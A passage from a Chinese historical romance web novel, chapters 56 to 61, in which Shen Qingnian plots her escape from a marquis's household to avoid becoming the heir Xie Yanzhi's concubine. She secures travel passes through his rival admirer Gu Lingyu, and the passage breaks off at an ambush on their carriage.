小姐昏睡了这几日都不醒,她真的担心醒不过来了,每日都要探探小姐的鼻息。 在这侯府里,就她和小姐相依为命,若小姐没了……她不敢想后面的事。 她答应了夫人要照顾好小姐的。 沈清念忽然想着她昏睡了这几日,有没有引起别人的怀疑。 “我昏睡的这几日,可有人来过?” 菱儿抽抽了两下道:“姨娘过来瞧过。” “只是我不敢与姨娘说实情,只道你是着了风寒,发起了高热。” “还有……还有大公子每日也会过来看小姐,有时候坐到夜深了才回去。” 沈清念心道他来做什么,她成这样子,不就是谢宴之害的吗? “今日世子来过了吗?” “还没有。” 沈清念向窗口望了望,天色已经暗下来,谢宴之可能很快就要过来了。 “等会儿你别和世子说我醒了。” 沈清念决定一会儿就装睡着,她现在是真的不想看见他。 “是,小姐。” 菱儿又想起了什么,指向桌子:“小姐,这些都是大公子送来的。” 沈清念看过去,桌上放着一套玫红的嫁衣,还有一个繁复精美的首饰盒。 “小姐,大公子这是打算纳你为妾?”菱儿看那衣裳是妾室进门之日所穿的,但大公子什么也没说,她就想问问小姐是怎么回事。 “他是这样说的,下个月初七。”沈清念面色平静,语气里没有一丝不悦,仿佛要进门的不是她。 “可婚约的事,你有没有跟他说过?”菱儿有些焦急。 这明明是正妻,怎么能变妾室呢?大公子搞错了呀。 此时,谢宴之抬起的脚又放了下去,侧身静静听着。 第五十六章 他比你厉害 “没说过。”沈清念淡淡道。 说了又如何?她这样的身份,也做不了这侯府世子的正妻的。 最终还是会被迫变成妾室还是好的,一个不小心,可能小命都要交代在这侯府里。 左右正妻与妾室她都是不想的。 “婚约的事别和其他人说。”沈清念对着菱儿叮嘱道。 这件事还是死死瞒住,不能让外人知道。 谢宴之这才发现原来那日她并没有撒谎,她是真的有一门亲事的。 他现在有些好奇与她定亲的人是谁,为何她不履行婚约。 谢宴之抬脚就走了进去。 沈清念听见脚步声,赶紧躺下去,闭着眼睛装做还未醒的样子。 “大公子。”菱儿赶紧起身,略显慌张地向谢宴之行了一礼。 看着那还有些苍白的脸,谢宴之皱眉问道:“还没醒吗?” 菱儿捏紧了手,有些没底气地答道:“还没有。” 她一直低着头,生怕大公子从她脸上的神情发现了什么端倪。 谢宴之看了看床上的人,脸色还有些发白,此刻假装淡定地闭着眼睛,他坐在床边,握着床上那人的手,那是微不可察地颤抖了一下。 谢宴之抿着嘴,见她还是不打算醒过来的样子,转身对菱儿道:“去给你家小姐拿身衣裳来。” “嗯?”菱儿有些疑惑。 大公子是觉着她今日还未给小姐换衣裳吗? 她刚想说衣裳是今日才换的,就被谢宴之一个眼神逼回去。 “是,大公子。” 菱儿隐隐有了不好的感觉,但她还是按照吩咐,很快从柜子里拿出来一身新的里衣,双手恭敬地递过去。 “你出去外面候着。”谢宴之冷冷道,伸手接过那轻薄的衣衫。 “啊?”菱儿看着床上的小姐,心里有些担心。 “出去!”谢宴之见菱儿还木讷地杵在那里,眼里已是十分的不耐。 菱儿看小姐还没有反应,心里急得不行,可大公子的话,她一个丫鬟能不听吗? 她不情不愿地回了一声:“哦。”担忧地看了小姐一眼后,便退出去关上了房门。 心里不禁为小姐捏了一把冷汗。 大公子竟然要亲自给小姐换衣裳,虽说他已经要纳小姐,可这不是还没过门吗? 屋子里,谢宴之看着那装睡的人儿,那羽扇般的睫毛小心地颤了颤,心里存了逗她的心思。 “表妹,见你还昏睡着,这衣裳就由我来给你换吧。” 说着,就一颗一颗地解着她的扣子。 沈清念感受到他的动作,放在被子里的手紧紧揪住了床单,心里已是将他骂了一万遍! 不知这几日,他是不是也趁着她睡着时,对她做出什么羞耻的事没有。 谢宴之见那人儿还不肯醒过来,他停下了动作,故作周到的说:“要不我还是先帮你把亵裤脱下来吧,衣裳瞧着还是干净的。” 说罢,他的手就伸进了被子里,要去拽她的裤头。 他要看她能忍到几时。 “表哥!”沈清念一把按住了谢宴之的手,装作一副刚刚转醒的样子,虚虚地咳了两声。 谢宴之看着她的动作,意味深长地看了沈清念一眼,嘴角扬起一个弧度,“表妹终于肯醒了?“ 沈清念看着他这副表情,再瞧谢宴之手上只有一件里衣。 她恍然大悟,他早就知道她是装睡的。 无耻! 还要去脱亵裤,简直是无耻至极! 沈清念低着头,有些恼。 原来谢宴之刚刚就在外面,这会儿是故意来捉弄她的。 谢宴之看她低垂着头,乌发披散在身前,脸色还有些发白,抿着嘴唇,一看就是有些恼了。 他忽然觉着她还是有些可爱的。 不过他现在有更重要的事要问她。 “你真的有一门婚约。”他轻轻问出一句。 沈清念心里一惊,谢宴之刚刚竟然在门外偷听她们说话。 她努力回想了一下,刚刚她和菱儿并没有说出与她定亲的人是谁,那谢宴之应当还不知道与她有婚约的人就是他。 想到这里,她又稳住了心里的慌张。 “是,幼时我母亲给我定的。”沈清念淡淡答道。 谢宴之审视着沈清念,见她神色淡淡,眼神坚定,不似在扯谎。 谢宴之忽然觉着自己都有些佩服她。 明明身上有婚约,还出去与男子相看,还险些私定终身。 当真是个水性杨花,朝三暮四的。 她心里还有没有廉耻二字! “你明知自己身上有婚约,竟然还去与那个姓萧的相看?” 面对谢宴之的质问,沈清念毫不在乎道:“那都是幼时定的亲了,现在那人已经高不可攀。” “我又是这样的身份,又有谁会把这个婚约当真呢?” “还是不要去别人面前讨嫌得好。” 高不可攀?谢宴之一时有些好奇,那个与她有婚约的人到底是何身份。 她连他这个高高在上的世子都敢招惹,还有谁能让她避之不及? 他有些稀奇道:“你连本世子都敢招惹,还有谁是你沈清念不敢招惹的?” 沈清念听出他话里的嘲讽。 况且,她自问从没有招惹过他,不知他为何总是那么自负。 既然他让她不开心,那她也要气气他。 “那自然是因为他比你厉害!”说这话时,沈清念脖子抬得高高的,一副骄傲的样子,眼睛还瞥了谢宴之一眼。 “哦?”谢宴之脑子里将京城里大大小小的人物过了一遍,比他还厉害的,好像没有几个。 那几个又还都是些老狐狸,子女都和沈清念一般大了。 况且沈清念分明话里话外都在维护那人。 料想那人不愿履行婚约,也没有一丝责怪,还将错都拦在自己的身上。 想必沈清念必定是爱极了那人的,自知两人因着家世门第,无法结成良缘,才会去勾搭别的男子。 “什么高不可攀,恐怕你那未婚夫根本就是个无信之人吧。你还护着他做什么?” 沈清念不知谢宴之事怎么听出她爱极了那人的。 但她听谢宴之自己骂自己是无信之人,不禁觉得好笑。 这时,她忽然直直看着谢宴之,一脸认真地问道:“如果是世子有这样一个身份低微的未婚妻,你会按照婚约,认了这门亲事,娶她为妻吗?” 第五十七章 偏偏就要纠缠她 谢宴之沉声说了一句:“我不会娶她。” “但我会给她一些傍身之物,让她衣食无忧。” 其实要他娶进来也不是不可以,只是他若娶了这样身份低微的人,老夫人肯定会为他再寻高门贵女作平妻。 只怕她就会卷入后宅阴私中,最终只会害了那个未婚妻。 还不如将她妥善安置,让她寻一普通亲事,顺遂地过一生。 而沈清念早就知道结果,对于谢宴之的回答毫不意外。总归还是嫌她身份太低,配不上侯府的门楣。 “世子说别人是无信之人,如今瞧着,世子也是一样啊。” “别拿我和别人比。”谢宴之不想理会沈清念。 他现在只想知道那人到底是谁。 总归二人定过亲,不知手上可有什么定亲的凭证。 想到这儿,谢宴之看着沈清念问道:“那人到底是谁?” 沈清念看他有些着急,淡淡一句:“我也不知道他是谁。” 谢宴之皱了皱眉,“沈清念,你在耍我?” 沈清念用力挣脱了一下,也带了些恼意:“我确实不知他是谁。“ “而我还能招惹世子,说明那人确实比世子厉害,不然我又怎么敢招惹你,不去招惹他呢?” 谢宴之哪里听不出来沈清念是在讽刺他,他抓住沈清念的手腕,冷着眉,一看就是有些恼了。 但沈清念连对方是谁都不知道,要么就是她在骗他,要么就是这桩亲事不简单! “你这桩亲事到底是怎么回事?怎么连定亲之人是谁都不知道?” 沈清念道:“我母亲只说,有一日忽然收到我外祖的信,说已为我定了一门亲,对方是他的好友姓杨。” “后来外祖在来的路上,所乘船只被浪打翻,这婚事的也就不得而知了。” 沈清念看了眼谢宴之,她又没说谎,他们的亲事确实是谢宴之的外祖和她的外祖一起定下的。 听母亲说,他们二人是多年的好友,谢宴之的外祖杨明修是当地的秀才,开了一间学堂讲学。 而沈清念的外祖苏池则在学堂边租了铺子卖香珠。 二人无事边在一起喝茶下棋,后来就约着给两家的后辈定了亲。 当然,那个时候谢松衍还不是这侯府的大老爷,谢宴之也不是世子。 谢宴之听到沈清念的解释,这才松了沈清念的手腕,见那手腕上已有一些发红。 他不禁想到某些时候,她的肌肤也是这样娇弱,一碰就会发红。 “那你可知你们可交换过庚帖,或写过婚书?” 若有这两样,那就必须要退婚,若不曾,那就是空口无凭,就没有什么后顾之忧。 “外祖信里说过已交换了庚帖了。” 沈清念又想起了母亲的话:“念儿,与你定亲的人叫谢宴之,两家已交换过庚帖。你大可去找找,就是不知能否找到。” 而苏婉云后面还说了一些,大概的意思就是,将来沈清念找到了那人,若愿嫁,那是最好。 若不愿嫁,就要拿回庚帖,则二人以后婚嫁各不相干。 可她看谢宴之这样子,他显然是不知他自己有婚约的,那庚帖她又怎么能拿回来呢? “那你母亲如何得知那人你们招惹不得?”谢宴之又问道。 “我母亲曾派人去外祖住的地方寻过姓杨的这家人,却发现周围没有一点关于他们的痕迹。” 谢宴之心下了然,能完全抹去生活的痕迹,绝不是寻常人家。 就像当年的侯府一样,老夫人派来的人在他们父子启程回京城时,就打发走了周围的左邻右舍,叫他后来想要回去寻一抹记忆都不能。 沈清念看谢宴之有些出神,似在思索什么,她脸上有了一丝狡黠。 她就是要给他一个未知,让他放不下心来纳她。 毕竟哪个男人愿意自己的妻妾与别人定着亲,又嫁给自己呢? 或许谢宴之会想着先查清楚,那纳妾之事就能拖延一些时日。 沈清念又说道:“我母亲跟我说这定亲的事,也是怕将来有一日,别人拿着庚帖上门,好叫我心里有个准备。” “不过表哥放心,你纳我,不算是夺人妻子的勾当。” “反正那人也不会要我。”沈清念说完,瞥了一眼谢宴之。 谢宴之看着沈清念的脸,目光发寒,什么叫夺人妻子的勾当! 沈清念居然用将他和这么不入流的粗鄙之词放在一起! 他也明白她心里到底还是不愿成为他的妾室。 不过她这桩亲事,他自会去查清楚。 谢宴之的目光令沈清念有些招架不住,她侧过头,不敢与谢宴之对视,怕被他看穿了心思。 不知怎的,谢宴之总觉着她好像有什么事瞒着他。 蓦然,他突然想到了什么,冷冷出声:“沈清念,下月初七,准备好。” 不管那定亲的人是谁,她都别想拖延时间。 沈清念,他是不会放手的。 沈清念也没想到,她都拿出亲事来了,谢宴之还是一点儿都不松口。 她心里对谢宴之的认识又多了几分。 她不禁也有些气恼,这谢宴之也不是缺女人的人,偏偏就要纠缠她。 “表哥,我累了,想歇下了。”沈清念说着就往下躺,拉着锦被盖住自己,闭着眼睛,一副睡着的样子。 谢宴之看着沈清念这副对他爱答不理的样子,心里有点窝火。 但是她的脸色似乎比刚才看起来更加苍白,也没了神采。 想着她应是累了,也懒得找她说道说道,便起身回了观澜居。 谢宴之走后,沈清念睁开了眼睛,她心里有些焦急,离下个月初七没几天了,到底该怎么办? 这时,菱儿一脸谨慎地走了进来,手上拿着一个纸包,有些激动地站在床前:“小姐!” 沈清念起身靠在引枕上,有些疑惑地问道:“怎么了?” 菱儿将手中的松子儿递了过去:“这是平安哥给我的松子儿。” 原来是平安给她的。 沈清念看菱儿那开心的模样,笑了笑道:“我不吃,你自己吃吧。” “不,小姐,你仔细看里面。”菱儿说完话,还谨慎地朝四周看了看,害怕大公子去而复返。 第五十八章 爷这辈子有你足矣 沈清念接过纸包,又将纸包对着油灯,仔细瞧了瞧,发现里面有一个黑的像铁一样的东西,还有纸条。 她抬头看了一眼菱儿,主仆二人对视了一眼。 她又朝门口看了看。 菱儿便走到门口,探出头左右看了看,确定没人,才将门合上。 沈清念又将床上的纱帐放下,遮得严严实实。 这样,即使谢宴之又像刚刚那样在门口偷听,也听不到什么,更看不到什么。 沈清念这才拿了自己的绢帕铺在床上,倒出纸包里的松子儿。 一把钥匙掉在眼前,紧接着又掉出两张纸。 沈清念拿起其中一张一看,眼眶不禁湿润起来。这信是萧怀意写的。 信上说,她和谢宴之走后,他忽然明白她是被谢宴之胁迫了。 若沈清念不愿留在侯府,可去通州的一处院子,那是他母亲在老家的院子,钥匙就是那一把。 时间紧迫,他说不了太多,望她保重。 沈清念又捡起另外一张纸,是一张三千两的银票。她的眼泪又一次决了堤。 这些都是萧怀意给她的出路! 有了这些银子,路上的盘缠是没问题,到了通州,还够她和菱儿生活很久。 现在有了可去之处,也有了银钱。可还想要不被谢宴之抓到,那她就需要两张新的路引。 可她现在被看得严,普通人去办路引的话,手续慢,还容易被刁难。 京城应该也有黑市,她和菱儿不熟悉,万一遇到歹人怎么办? 第二日一早,沈清念就去了苏姨娘的院子。 她想先去探探姨母的口风,看她能不能请她帮忙开路引。 一进屋子,苏姨娘就从榻上起来,热情地拉着沈清念的手:“念儿,你的身子可算好了。” 沈清念福了福身,轻声道:“让姨母担心了。” 苏姨娘拉着沈清念坐在榻上,朝着秋叶吩咐了一声:“秋叶,去将今年的新茶给表姑娘泡一壶来。” 说着,又抬起手,用帕子给沈清念擦擦额头的汗:“病刚好,还得多养养。” 沈清念刚想说话,却发现苏姨娘手腕上有一片红色,像是受了伤。 她抓住苏姨娘的手:“姨母,让我瞧瞧,你的手是怎么回事?” 苏姨娘脸色骤变,手往回缩,不想让沈清念瞧见:“没事,大概是被蚊子咬的。” 沈清念听着她蹩脚的理由,更加想要看清楚:“姨母,这还是春日,哪来的蚊虫?” 说完就拉过苏姨娘的手,撩起了袖子看了看。 待看清了以后,她的心一下就揪得紧紧的。苏姨娘手腕上那些红色分明是被人拧的,更上面还有一些青紫色。 仔细看,那些青紫色里还有些细小的孔,看着像是被针扎的。 苏姨娘明显是被人虐待了,可她好歹是二房的姨娘,又有谢昭表哥傍身,谁还敢虐待她? “姨母,到底是谁做的?”沈清念看着苏姨娘。 苏姨娘收回手,赶紧扯下袖子来遮住,摇摇头:“没事,是我自己不小心撞的。” “胡说,这上面还有针扎的孔,难不成你自己拿针扎自己?”沈清念有些着急,也有些心疼。 看着苏姨娘躲闪的样子,她心中忽然有了猜测。 “是不是二夫人让人做的?” 苏姨娘见沈清念一下就猜到了,只是按住她的手,安抚道:“都过去了,我没事的。” 秋叶此时正好泡了茶进来,见沈清念发现了苏姨娘的伤,眼泪一下就掉了下来。 “表小姐,自从二爷瘫了以后,二夫人就开始找理由折磨姨娘。” “二夫人专挑好藏住的地方下手,外人根本不知姨娘每日受的磋磨。” 秋叶说着,已经是泣不成声。二夫人这些年,没少磋磨二人,现在终于有人发现她二人的委屈,哭得泣不成声。 “姨母,你为何不告诉老夫人,或者告诉谢昭表哥啊?”沈清念有些不理解,为何要这样任人磋磨。 “姨娘不想连累公子。更重要的是,二夫人拿二爷威胁姨娘。” “怎么回事?”沈清念又问道,这里面有什么秘密? 秋叶擦了擦眼泪,继续说道:“若姨娘不任二夫人磋磨,敢将这些事情告诉其他人,二夫人就不让姨娘见二爷。” 沈清念看着苏姨娘掩着帕子抹泪的样子,有些无法理解。 “二爷就那么重要?让你甘愿承受这些?” “林氏是她的发妻,自会照顾好他呀。” 二爷就那么重要?苏姨娘听到这话,想到当时二爷问她愿不愿意跟他时,她点了点头。 一下就被一只大手捞上了那高头大马,他宽阔的胸膛拥着她,带着她乘风而去,身后传来一阵阵爽朗的笑声。 她回头,看到那双怨毒的眼睛盯着她,但二爷带她走了,那人再也伤害不了她了。 “二爷救过我的命,我必须要守着他,只要二夫人能让我见上他一面,受再多苦,我都撑得住。”苏姨娘语气坚定道。 沈清念不禁感慨,做人妾室,就只能看主母的脸色过日子。她怎么能过那样的日子呢? “姨母,做人妾室,你后悔过吗?”沈清念看她那样伤心。 苏姨娘想了想,大概是不后悔吧。 “二爷待我极好,他从未看轻过我。能与他在一处,我不后悔。” “念儿,只要他是拿你当妻子,即使是做妾又有什么关系?” 她曾经也想当那人的妻子,但他却将她看做妾室一般,要卖她到勾栏院。 直到后来遇到了二爷,给了她妻子才有的一切,出了正妻的名头。 她又想起那时,二爷衣襟微敞,将她搂在怀里,在她的耳边说:“诗雨,爷这辈子有你足矣。” 苏姨娘知道沈清念定是不愿当人妾室的,就好像曾经的自己。 苏姨娘笑了笑,希望沈清念能实现年少时的她未能实现的。 沈清念见提起二爷时,苏姨娘的嘴角高高扬起,料想她定是爱二爷爱得深沉。 可她不爱谢宴之,而谢宴之也不会拿她当妻子看待,不然就不会多次轻薄她。 路引的事得另想办法。姨母现在的处境已经这般不好,若再让姨母帮忙,日后被谢宴之发现,怕是…… 沈清念又想到了母亲,她因美貌得到父亲的喜爱,最后也因美人迟暮,遭到厌弃。 姨母有二爷的爱宠着,可失去二爷这个靠山后,日子也过得这般不尽人意。 所以女子,还是得靠自己。 或许,还有一个人能帮她办到路引。 第五十九章 就是你看到的意思 沈清念带着菱儿刚到浅月居,就见元青立在院子门口。 “清姑娘,你终于回来了。”元青小跑过来。 “世子有什么事?”沈清念看着元青的样子,想着是不是谢宴之又有什么事要找她? “爷让我带您到街上去,看看还有什么要置办的。” 毕竟,清姑娘快要进门了。 今日爷让他带清姑娘出门,就是要为清姑娘置办一份嫁妆的。 到时候,爷再将清姑娘风风光光地纳进门。 听到元青这么说,沈清念心里有些窃喜。 她刚刚还想着要寻个什么理由出府一趟,谢宴之倒是给了她一个由头。 “正好,我的确还要买些东西的。你们在这里等我一下。” 沈清念进去提了个食盒出来,对元青道:“走吧,等会儿我们去景泰楼买些紫薯糕回来。” 三人一起来到市集上,元青在前面驾着马车道:“清姑娘,爷说你要买什么只管买,绫罗绸缎,珠宝玉石都行。” 其实元青还没有说完,爷还说要将城东的三间铺子也给清姑娘做嫁妆。 这样,清姑娘过门以后,也有个傍身的倚仗。 沈清念听到元青这样说,觉着谢宴之还挺大方的。 她轻轻挑开帘子,看着外面的铺子,随即喊了一声:“元青,就在这儿停一下。” 元青往边上瞟了一眼,是一家首饰铺子,便勒停了马车。 “元青,这里的东西买得吗?” “我想买一对龙凤呈祥的镯子,我们那边嫁人都要戴的。” 元青点点头,拍了拍衣襟里的银票:“爷说了,随清姑娘买!” 沈清念笑了笑,走了进去,慢慢悠悠地挑着镯子。 元青看清姑娘拿起来试了又放下,一会儿的功夫,试了得有一整盘了。 他觉得有些无聊,在他看来,那些手镯都差不多的,真不知道有什么好选的。 沈清念抬头看了看元青,见他有些无聊,便道:“元青,你去帮我买些景泰楼的紫薯糕吧。” 元青犹豫了,他走了,清姑娘和菱儿两个人遇到了事儿怎么办? 爷也吩咐了,要将清姑娘看好。 沈清念似乎看出了他的顾虑,淡淡道:“你驾马车去,快去快回,我等你回来付银子。” 元青点了点头后,悄悄对掌柜道:“这是我们靖南侯府的贵人,帮我照看好了。” 言外之意就是看着人,别让人伤了,跑了。 掌柜的会意,这怕是侯府哪位公子的房中人,便对着元青道:“小哥放心,保管这两位姑娘不会少一根儿头发。” 沈清念给了菱儿一个眼神,菱儿一手将食盒递给元青,一手推着他出门。 “快去买小姐要的紫薯糕去。” 将元青推到门口后,菱儿又悄悄在他耳边道:“别忘了给我带松子儿。” 元青宠溺地摸摸她的头:“我知道了,回来给你带。” 菱儿目送他驾车走了,才进了屋子。 沈清念还站在那里,一手在前捏着帕子,一手背在腰后。 不仔细看,就不会发现她手上正提着一个包袱。 那包袱是菱儿从刚刚那个食盒里偷偷拿出来的。 沈清念选了一对儿镯子,让掌柜的包起来后,就坐在店里等元青,可眼睛却望向远处。 这时,一辆马车在首饰铺前缓缓停了下来,那人掀开帘子。 沈清念的嘴角扬了扬。 “顾姑娘!”沈清念朝那人喊了一声。 顾灵玉原本没有看到沈清念,她正带着丫头在一旁看耳坠。 见沈清念主动喊她,脸上很是不悦。 上次沈清念让她丢脸的事她现在都还记得。 现在居然还主动来招惹她! 顾灵玉轻蔑地看了沈清念一眼,最终按下了心里的冲动,转身就要走。 换作从前,她刚刚就冲过去,扇她一耳光,报了上次的仇。 但母亲叫她在外要护住信阳侯府的脸面,不可以再像上次那样冲动。 父亲也因那事责罚了她。 沈清念特意选了这家首饰铺子买镯子,就是之前听府里的丫鬟闲聊时说起过,听顾灵玉的首饰都是在这里买的。 她原本想来碰碰运气,看能不能碰到她。 没想到顾灵玉今日还真的来了。 见顾灵玉要走,沈清念又喊了一声:“顾姑娘,你看这是什么?” 沈清念说着,将身上的包袱掀开了一角。 顾灵玉一看,大惊失色。捏着帕子,咬着嘴唇,死死看着沈清念。 但她随即掩盖住了慌张。 “顾姑娘,我们到楼上说说话?”沈清念从容地抬起头。 顾灵玉看着沈清念那个清高的样子就来气,她这段时日被禁足,过得憋屈。 沈清念却活的顺风顺水的,让她心里恨得痒痒。 她气恼道:“我凭什么跟你上去,你是什么货色,叫我上去就上去!” 沈清念慢慢悠悠道:“你就不想知道我为什么带着它来找你?” 顾灵玉眉毛轻挑:“你不就是来向我炫耀,故意气我的吗?” “我是来送顾姑娘一个机会的,就看你要不要了。” 沈清念说完,直直地看向了一眼顾灵玉,便径直往二楼去。 见顾灵玉没有跟上来,她回头看了看,面上带着得体的笑。 在外人看来她神色如常,只有她自己知道,她藏在衣袖里的手却悄悄捏紧了帕子。 顾灵玉看了眼沈清念,看她上楼还不忘回过头,冲她笑笑。 那得意的模样,让她恨得牙痒痒。 她甩了甩帕子,提着裙摆跟了去。 她倒想看看,沈清念究竟想要做什么! 顾灵玉上了楼,见沈清念坐在那儿悠闲地捏着茶盖儿。 她气冲冲地走到沈清念面前,拧着眉:“沈清念,你到底是什么意思?” 刚刚她分明看见那包袱里的是一角玫红色。 那分明就是妾室的嫁衣,宴之表哥要纳她了? 她必须要上来弄清楚。 沈清念见她指着那包袱,气急败坏的模样,对着她轻蔑一笑:“就是你看到的意思。” 顾灵玉一把夺过那包袱,扔在地上,狠狠踩了一脚:“凭你这种下贱蹄子,也配给宴之哥哥当妾!” 沈清念从容不迫地看着顾灵玉发狠地将那嫁衣踩得乱糟糟,嘴角勾了勾…… 第六十章 帮你如愿 顾灵玉踩了几脚后,见沈清念不仅不着急,反而还神情淡淡地看着她。 那眼神就像在看一只撒泼的猴儿。 顾灵玉咬住唇,更加地生气。 沈清念这分明是没有将她放在眼里! 她愈加发狠地朝着地上的嫁衣发泄了几脚。 沈清念看她那气急的模样,这才悠悠地开口道:“我这种人当然是不能够给世子做妾的,但顾小姐这种门楣的,就完全配得上了。” 顾灵玉踩累了,坐在了旁边的椅子上,听到沈清念这样说,她脸上的表情有些难以言喻。 沈清念这话,听着有些对,又有些不对。 她是信阳侯府的二小姐,身份当然是高贵的。沈清念还算有自知之明。 可转念一想,沈清念怎么能去说她配给人做妾呢?她明明是正妻都当得的! 沈清念又在嘲讽她!总是那么的牙尖嘴利! “沈清念,你什么意思!”她又指着沈清念。 “你自己下贱只能做妾,扯上我做什么!” 沈清念看着顾灵玉,她瓷白的面上露出一丝狡黠。 顾灵玉又成功被她激怒了。 她越是气急,就越发不理智。 沈清念就是要她脑子冲动起来。 沈清念愈发淡然道:“那人可是靖南侯府的世子谢宴之,我本来还想着能做个顺水人情,帮顾姑娘如愿的。” “嗯?”顾灵玉盯着她,不知她又在卖什么关子。 “顾姑娘不是一直爱慕着世子?可世子像是对顾姑娘你无意啊。” “世子那样冷心的人,行事向来是照他自己的喜好来。” “别说是正娶你了,便是要他纳你为妾,也是不太可能的。” 沈清念瞥了一眼顾灵玉,见她的脸色变幻了几许,接着道:“再说,能当正妻,谁又甘愿为妾呢?” 顾灵玉抬眸看着沈清念:“你这话什么意思?你不愿给宴之哥哥当妾?” 她有些不敢相信,像沈清念这等低贱的人,竟看不上宴之表哥。 果然是个穷清高的。 宴之表哥能看上她,是她万世修来的福分。 “等等,难道是宴之表哥强人所难了?” 顾灵玉觉得自己好像看出了什么。 沈清念低头浅酌了一口茶,没有接话,转而问道:“顾姑娘只需回答我,你想不想与世子在一起?” 顾灵玉两手扯着帕子没有说话,但她的心里是想的,非常想。 她又想到谢宴之那张冷冰冰的脸。 她心恋宴之表哥这么多年,连他的一片衣角都没摸到过。 别说让谢宴表哥娶她,便是纳了她都不可能。 可她是信阳侯府的二小姐,怎么能去做妾呢? 沈清念看她犹豫的模样,又道:“凭你是信阳侯府的二小姐,大夫人的侄女儿,就不可能让你真的只当个妾室。” “到时候扶你当正妻也是有可能的。” 顾灵玉的眸光闪了闪。 “前提是你得有这个机会先成为他的房中人。” 顾灵玉咬了咬嘴唇,她知道沈清念说的有几分道理。 但她想不通沈清念为何要找她。 “你为什么要帮我?” “我需要两张路引,这事对我来说有些难度,但这对顾姑娘来说,不是什么难事吧?” “到时,我离开京城,顾姑娘进侯府。咱们一别两宽,各自安好。” “你真舍得离开世子这么好的高枝儿?”顾灵玉还是有些不确定。 她不明白为什么沈清念会甘愿放弃这富贵的生活。 沈清念看穿了她的心思,知道还得给顾灵玉一个信服的理由。 她看着顾灵玉淡淡道:“顾姑娘有世子这样的青梅竹马,我也有心上人,我们自小就定了亲,可世子知道此事,还要纳我为妾……” 她又叹了口气:“顾姑娘这样做,也算是帮世子悬崖勒马,保全了他的名声。” 顾灵玉心里一惊。 沈清念都已经定亲了,宴之表哥还想纳她,那他岂不是成了夺人妻子的恶贼了? 顾灵玉想着,她得帮宴之表哥保全住名声。 既然这贱蹄子心里另有其人,想必那人也是个上不得台面的。 也好,低贱的人只配和低贱的人在一起。 顾灵玉站起了身,没有犹豫地说道:“好,我答应你。” “别怪我没提醒顾姑娘,世子预备下个月初七纳妾,留给姑娘的时间可不多了。”沈清念平静道。 她自然是要顾灵玉越早将路引给她越好。 “你……我省得了!” 顾灵玉又有些气恼,时间这样紧迫,难怪沈清念会找她。 可她大哥就是管这个的,让大哥帮忙,应该也来得及。 顾灵玉转身要下楼时,沈清念又喊住了她。 “顾姑娘,这嫁衣是世子为我准备的,样式独特。” “你还是将它带回去,让绣娘做件一模一样的出来,以免当天被世子发现异常的好。” 顾灵玉看着地上被踩得又脏又皱的嫁衣,皱了皱眉。 心里暗道早知道这是表哥准备的,刚刚就不该发狠了。 她捻起指尖,挑起那嫁衣,一脸嫌弃的系好包袱,下了楼。 香草见顾灵玉从楼上下来,赶紧迎上去。 顾灵玉便将那包袱狠狠砸在她身上,气哄哄的走了。 沈清念也从楼上下来,微笑着看了菱儿一眼。 菱儿心下了然,小姐这事怕是办成了。 昨晚小姐就与她说了要带她从侯府逃走。 今日一早,寻了姨娘没有着落。 小姐笃定顾灵玉肯定会帮忙,没想到真是这样。 只是那顾灵玉离开的时候,怒气冲冲的。 元青这时回来了,见沈清念和菱儿守着挑好的龙凤镯,静静地等着他回来付银子。 他七上八下的心也算安稳了下来。 元青边帮她们拿东西边道:“菱角,刚刚我好像看到顾家的表小姐了。” 那一脸怒气,一看就是被人惹到了。 菱儿愣了一下,“哦?也许小姐和我那时在楼上吧,并没有看见顾姑娘啊。” 元青心里松了口气,还好没碰着面。 他现在都还记得上次顾灵玉扇了清姑娘的事。 事后,爷跟信阳侯提了一下,要他好好管教下自己的女儿。 信阳侯大怒,将那位表小姐被禁了足,连信阳侯夫人也被骂了一场。 要是清姑娘今日对上顾家的表小姐,爷又不在,肯定要吃大亏的。 三人来到了马车边,菱儿扶着沈清念上了马车。 沈清念一掀帘子,就被一只大手拉了进去,落入一个坚实的怀抱。 第六十一章 怎么?担心我? “刚刚做了对不起我的事?”谢宴之将人放在腿上,手指摩挲着沈清念的下巴。 他方才拉她入怀,见她一脸的惊讶,更准确地说,是惊吓。 那神情像是有什么事怕他发现一样。 沈清念没想到谢宴之竟然也来了。 更没想到他一来就问她是不是做了什么对不起他的事? 难道谢宴之知道了什么?沈清念的心里有些不安。 她低下头,不让谢宴之看到她的表情,袖子里的手也攥紧了衣袖。 沈清念努力地稳定了一些心神,才想到刚刚元青进来了,也没见着她和顾灵玉碰面。 而谢宴之一直在马车上,更不可能看见她们两个在一起。。 想到这里,她心里有了底气。 于是她故作委屈道:“今日是做了件对不起表哥的事。” 说着,将旁边的锦盒递了过去。 “哦?”谢宴之接过锦盒,打开一看,里面是两只纯金的龙凤手镯,一看就知道要不少的银子。 “今日花费了表哥五千多两银子。” “这镯子贵重,若表哥觉得银子花得多了,我现在就去退。” 说着,就佯装要起身下车去。 反正他也是一惯看不起她的,也许会觉得她配不上这样的物件儿。 谢宴之笑了笑,将锦盒放到一旁,将人拉过来,又将人拥在了怀里。 “上哪儿去?老实让我抱抱。”谢宴之的声音难得的带着些温情。 那镯子上的一龙一凤相互缠绕,情意绵绵,一看就是女子婚嫁时的穿戴。 难得沈清念开始重视他们的婚事,谢宴之当然是开心的。 他终于有了一种沈清念是他妻子的感觉。 原来感情得到对方得回应,竟是这样一件让人觉着温馨的事。 暖暖的舒服的感觉填满他的心,连指尖都变得温热起来。 更何况这区区五千两银子对他来说,算不得什么。 毕竟他名下有万亩良田,各种铺子两千多间。 在这京城是真正的财大气粗! 沈清念喜欢这些的话,就随她买吧。她是他的第一个女人,养得起! 沈清念被谢宴之抱得有些难受,他今日抱得格外紧。 她贴在他的胸膛上,听着他有力的心跳,听到他说:“喜欢就买,别顾及银子的事。” “你是爷的女人,爷养得起。” 沈清念还没来得及回应,谢宴之就猛地一下,将她按到了他的大腿上。 “你……!”沈清念有些羞窘,她的脸此刻正对着谢宴之的胯中间。 “别动!”谢宴之的声音传来,他的手还死死地按住她的头。 沈清念有些气愤,不就是花了五千两银子吗?这难道就是她要付出的代价? 她挣扎着抬了下头,想狠狠骂谢宴之这个衣冠禽兽。 当她看到了面前的情形时,却不敢再动弹,任由谢宴之的手按住她。 只因谢宴之的手上,此刻正握着一支寒光闪闪的箭。 如果他刚才不按倒她的话,那支箭已经射穿她了。 “爷,有埋伏!”外面传来元青的声音。 谢宴之掀开帘子,看了看四周。 他们的马车此时在一条偏僻的巷子里。 原来他们平时回王府的大路上,有人闹事。元青就换了一条路,绕到了这条小巷子。 